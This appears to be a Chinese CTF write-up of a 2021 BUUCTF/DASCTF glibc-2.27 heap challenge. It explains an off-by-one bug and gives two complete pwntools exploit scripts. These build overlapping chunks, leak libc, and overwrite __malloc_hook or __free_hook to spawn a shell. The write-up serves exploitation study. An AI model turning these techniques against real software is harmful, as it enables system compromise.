2021_BUUCTF&DASCTF_pwn

  1. 1. PWN:pwn
  2. 2. 题目分析
  3. 3. 方法一
    1. 3.1. 思路
    2. 3.2. 坑点
    3. 3.3. exp
  4. 4. 方法二
    1. 4.1. 思路
    2. 4.2. exp

PWN:pwn

pwn.zip

运行环境为ubuntu18.04,libc-2.27

题目分析

不用想保护全开,经典菜单题

2021-5-30/Untitled.png

2021-5-30/Untitled%201.png

2021-5-30/Untitled%202.png

2021-5-30/Untitled%203.png

2021-5-30/Untitled%204.png

菜单有malloc、free、edit、show功能,有一个offbyone漏洞,可以尝试三明治攻击构造两个指向同一块chunk的指针,还有一种方法就是利用overlapping来攻击

方法一

思路

  • 先将大小为0x90的tcachebins填满
  • 然后构造0x91(free)—0x90(used)—0x91(used)三明治布局
  • 利用offbyone修改第三个堆块的presize和pre_inuse位,利用unlink得到一个0x1B0大小的堆块包含中间的0x90
  • 将第一个堆块申请出来,通过第二个堆块(used)就可以泄露地址
  • 再申请一个堆块就得到两个指向同一块chunk的指针即第二个堆块
  • 通过攻击tcachebins来写malloc_hook为one_gadget
  • 申请堆块获取shell

坑点

  • offbyone漏洞一开始没发现,后续仔细分析了一下发现很简单,一开始没静下心来分析
  • 不清楚题目的libc版本,题目只给了libc.so
  • 注意最后一个堆块要额外申请一个小堆块,防止与top chunk合并

题外话:比赛当天有事导致题目没怎么看,准备赛后复现,然后第一道堆题环境是2.23版本的,不太熟悉就没怎么看了,主要是第二道堆题(现在写的),offbyone漏洞一开始没发现,看大佬的博客发现漏洞后(就是当申请的堆块的size的倒数第四位为一,就差不多行了刚好8满足需求)就感觉可以做出了,自己尝试了一下,确实发现没什么难度,这类题目做过类似的所以挺简单的,文章末尾会附上一些大佬的wp和一些例题

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64')
binary='./pwn'
local = 1
one_gadget = [0x4f3d5,0x4f3d5,0x10a41c]
arena=0x3ebc40
if local == 1:
io=process(binary)
else:
io=remote()
e=ELF(binary)
libc = e.libc
def alloc(idx, size, data="a"):
io.sendlineafter("choice:", "1")
io.sendlineafter("please choice your card:", str(idx))
io.sendlineafter("Infuse power:\n", str(size))
io.sendafter("quickly!", data)

def edit(idx, data):
io.sendlineafter("choice:", "2")
io.sendlineafter("please choice your card\n", str(idx))
io.sendafter("start your bomb show\n", data)


def free(idx):
io.sendlineafter("choice:", "3")
io.sendlineafter("Which card:", str(idx))

def show(idx):
io.sendlineafter("choice:", "4")
io.sendlineafter("index:", str(idx))
io.recvuntil("dedededededede:")



for i in range(7):
alloc(i,0x80)
alloc(7,0x80) #idx:7
alloc(8,0x88) #idx:8
alloc(9,0x80) #idx:9
alloc(10,0x20)
for i in range(8):
free(i)
edit(8,b'a'*0x80+p64(0x120)+b'\x90')
free(9)
for i in range(7):
alloc(i,0x80)
alloc(7,0x80) #idx:7
show(8)
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))-arena-0x60
one_gadget = one_gadget[2]+libc_base
malloc_hook = libc.sym["__malloc_hook"] + libc_base
io.info("libc_base==>%#x",libc_base)
alloc(9,0x80) #idx:9 = idx:8
alloc(11,0x80) #idx:11

free(7)
free(8)
edit(9,p64(malloc_hook))
gdb.attach(io,"b *$rebase(0xF57)")
alloc(7,0x80)#idx:7 =idx:8
alloc(8,0x80)
edit(8,p64(one_gadget))
io.sendlineafter("choice:", "1")
io.sendlineafter("please choice your card:", str(12))
io.sendlineafter("Infuse power:\n", b'16')
io.interactive()

2021-5-30/Untitled%205.png

方法二

思路

  • 构造三个堆块0x21(used)-0x91(used)-0x21(used)
  • 然后利用offbyone修改第二个堆块的大小,使得第二个堆块的大小刚好覆盖第三个堆块(也就是将第二个堆块)
  • 释放第二块堆块,再申请0x91大小的堆块,这样就可以通过第三个堆块泄露地址
  • 再申请一个0x21堆块就得到两个指向同一块chunk的指针即第三个堆块
  • 写free_hook为system地址,释放带有/bin/sh的块获取shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64')
binary='./pwn'
local = 1
one_gadget = [0x4f3d5,0x4f3d5,0x10a41c]
arena=0x3ebc40
if local == 1:
io=process(binary)
else:
io=remote()
e=ELF(binary)
libc = e.libc
def alloc(idx, size, data="a"):
io.sendlineafter("choice:", "1")
io.sendlineafter("please choice your card:", str(idx))
io.sendlineafter("Infuse power:\n", str(size))
io.sendafter("quickly!", data)

def edit(idx, data):
io.sendlineafter("choice:", "2")
io.sendlineafter("please choice your card\n", str(idx))
io.sendafter("start your bomb show\n", data)


def free(idx):
io.sendlineafter("choice:", "3")
io.sendlineafter("Which card:", str(idx))

def show(idx):
io.sendlineafter("choice:", "4")
io.sendlineafter("index:", str(idx))
io.recvuntil("dedededededede:")

alloc(0,0x18) #idx:0
alloc(1,0x80) #idx:1
alloc(2,0x10) #idx:2
for i in range(3,10):
alloc(i,0xa0)
edit(0,b'/bin/sh\x00'.ljust(0x18,b'\00')+b'\xb1')
for i in range(3,10):
free(i) #将tcachebins填满,使堆块释放到unsortedbins里
free(1) #idx:1 = idx:1+idx:2 size:0xb1
alloc(1,0x80) #idx:1
show(2) #泄露地址
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-arena-0x60
io.info("libc_base==>%#x",libc_base)
alloc(3,0x10) #idx:3 = idx:2
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base + libc.sym['system']
free(2)
edit(3,p64(free_hook))
alloc(4,0x10)#idx:4
alloc(5,0x10)#idx:5 free_hook
edit(5,p64(system))
free(0)
io.interactive()

参考博文:

https://www.cnblogs.com/LynneHuan/p/14826770.html

https://m.sohu.com/a/342787157_120136504

https://www.jianshu.com/p/f1ec36d0b41c

推荐例题:

https://buuoj.cn/challenges#sctf_2019_easy_heap